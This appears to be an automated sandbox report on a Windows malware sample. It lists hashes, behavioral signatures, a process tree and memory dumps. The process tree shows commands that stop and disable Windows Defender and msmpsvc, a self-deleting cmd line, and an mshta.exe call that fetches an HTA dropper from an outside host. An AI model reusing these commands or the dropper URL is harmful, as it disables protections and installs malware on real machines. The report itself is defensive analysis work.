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Analysis

  • max time kernel
    150s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2024, 06:13

General

  • Target

    eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe

  • Size

    2.3MB

  • MD5

    eabd3adb848cfe1843879142be96a2d7

  • SHA1

    8843f2b3e152add67c33f894d2456906ab4a3629

  • SHA256

    4c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b

  • SHA512

    411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8

  • SSDEEP

    49152:e1ZWlkS3CWK0HieQs9QToFxQP09R4lPQ2r1CsHrpNxO8:e6lkS3Npirs2TAx5SNQA0kpy8

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=WOUOSVRD&2=i-s&3=72&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eabd3adb848cfe1843879142be96a2d7_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2820
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2980
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2080
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1748
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1572
    • C:\Users\Admin\AppData\Roaming\gkfvel.exe
      C:\Users\Admin\AppData\Roaming\gkfvel.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2644
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2856
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1088
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:896
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1160
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2056
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=WOUOSVRD&2=i-s&3=72&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2700
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EABD3A~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:1708

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Roaming\gkfvel.exe

    Filesize

    2.3MB

    MD5

    eabd3adb848cfe1843879142be96a2d7

    SHA1

    8843f2b3e152add67c33f894d2456906ab4a3629

    SHA256

    4c66076782018ccb966e7a509acb60d4c921a2bdcd86b2e385ab0362b570ef8b

    SHA512

    411d35c02b7a814b2c96d7a4904c0c889f4c0aeda0e253370c09d632f12fdbe44ee310129851f363a4a1b83a0e99aa1ae890df81aa8be5e7355722a6479106e8

  • memory/2104-1-0x0000000000A10000-0x0000000000A6A000-memory.dmp

    Filesize

    360KB

  • memory/2104-0-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/2104-9-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-8-0x00000000003E0000-0x00000000003E1000-memory.dmp

    Filesize

    4KB

  • memory/2104-7-0x00000000002C0000-0x00000000002C1000-memory.dmp

    Filesize

    4KB

  • memory/2104-6-0x00000000003D0000-0x00000000003D1000-memory.dmp

    Filesize

    4KB

  • memory/2104-5-0x0000000000290000-0x0000000000291000-memory.dmp

    Filesize

    4KB

  • memory/2104-4-0x00000000001D0000-0x00000000001D1000-memory.dmp

    Filesize

    4KB

  • memory/2104-3-0x00000000001E0000-0x00000000001E1000-memory.dmp

    Filesize

    4KB

  • memory/2104-2-0x00000000001F0000-0x00000000001F1000-memory.dmp

    Filesize

    4KB

  • memory/2104-40-0x00000000008E0000-0x00000000008E1000-memory.dmp

    Filesize

    4KB

  • memory/2104-44-0x00000000001C0000-0x00000000001C1000-memory.dmp

    Filesize

    4KB

  • memory/2104-45-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/2104-43-0x00000000001B0000-0x00000000001B1000-memory.dmp

    Filesize

    4KB

  • memory/2104-42-0x0000000003450000-0x0000000003452000-memory.dmp

    Filesize

    8KB

  • memory/2104-41-0x0000000003460000-0x0000000003463000-memory.dmp

    Filesize

    12KB

  • memory/2104-39-0x0000000000960000-0x0000000000961000-memory.dmp

    Filesize

    4KB

  • memory/2104-38-0x0000000003460000-0x0000000003461000-memory.dmp

    Filesize

    4KB

  • memory/2104-37-0x0000000000C40000-0x0000000000C41000-memory.dmp

    Filesize

    4KB

  • memory/2104-36-0x0000000000C60000-0x0000000000C61000-memory.dmp

    Filesize

    4KB

  • memory/2104-35-0x0000000000C30000-0x0000000000C31000-memory.dmp

    Filesize

    4KB

  • memory/2104-34-0x00000000009B0000-0x00000000009B1000-memory.dmp

    Filesize

    4KB

  • memory/2104-33-0x00000000009C0000-0x00000000009C1000-memory.dmp

    Filesize

    4KB

  • memory/2104-32-0x0000000000A70000-0x0000000000A71000-memory.dmp

    Filesize

    4KB

  • memory/2104-31-0x0000000003460000-0x0000000003461000-memory.dmp

    Filesize

    4KB

  • memory/2104-30-0x0000000000990000-0x0000000000991000-memory.dmp

    Filesize

    4KB

  • memory/2104-29-0x0000000000900000-0x0000000000901000-memory.dmp

    Filesize

    4KB

  • memory/2104-28-0x0000000000970000-0x0000000000971000-memory.dmp

    Filesize

    4KB

  • memory/2104-27-0x00000000008C0000-0x00000000008C1000-memory.dmp

    Filesize

    4KB

  • memory/2104-26-0x00000000008D0000-0x00000000008D1000-memory.dmp

    Filesize

    4KB

  • memory/2104-25-0x0000000003460000-0x0000000003461000-memory.dmp

    Filesize

    4KB

  • memory/2104-24-0x0000000003460000-0x0000000003461000-memory.dmp

    Filesize

    4KB

  • memory/2104-23-0x0000000003460000-0x0000000003461000-memory.dmp

    Filesize

    4KB

  • memory/2104-22-0x0000000003460000-0x0000000003461000-memory.dmp

    Filesize

    4KB

  • memory/2104-21-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-20-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-19-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-18-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-17-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-16-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-15-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-14-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-13-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-12-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-11-0x0000000003470000-0x0000000003471000-memory.dmp

    Filesize

    4KB

  • memory/2104-10-0x00000000002A0000-0x00000000002A1000-memory.dmp

    Filesize

    4KB

  • memory/2104-55-0x0000000004550000-0x0000000004997000-memory.dmp

    Filesize

    4.3MB

  • memory/2104-54-0x0000000004550000-0x0000000004997000-memory.dmp

    Filesize

    4.3MB

  • memory/2104-58-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/2104-57-0x0000000000A10000-0x0000000000A6A000-memory.dmp

    Filesize

    360KB

  • memory/2644-60-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB

  • memory/2644-61-0x0000000000400000-0x0000000000847000-memory.dmp

    Filesize

    4.3MB